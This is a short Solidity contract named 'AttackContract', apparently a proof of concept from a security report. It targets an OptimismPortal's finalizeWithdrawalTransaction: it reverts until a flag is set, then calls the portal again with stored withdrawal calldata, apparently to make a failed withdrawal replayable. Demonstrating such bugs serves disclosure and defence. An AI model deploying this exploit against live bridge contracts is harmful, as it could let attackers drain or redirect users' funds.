```\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.0;\n\nstruct WithdrawalTransaction {\n   uint256 nonce;\n   address sender;\n   address target;\n   uint256 value;\n   uint256 gasLimit;\n   bytes data;\n}\n\ninterface IOptimismPortal {\n   function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx)\n       external;\n}\n\ncontract AttackContract {\n   bool public donotRevert;\n   bytes metaData;\n   address optimismPortalAddress;\n\n   constructor(address _optimismPortal) {\n       optimismPortalAddress = _optimismPortal;\n   }\n\n   function enableRevert() public {\n       donotRevert = true;\n   }\n\n   function setMetaData(WithdrawalTransaction memory _tx) public {\n       metaData = abi.encodeWithSelector(\n           IOptimismPortal.finalizeWithdrawalTransaction.selector,\n           _tx\n       );\n   }\n\n   function attack() public {\n       if (!donotRevert) {\n           revert();\n       } else {\n           optimismPortalAddress.call(metaData);\n       }\n   }\n}\n```\n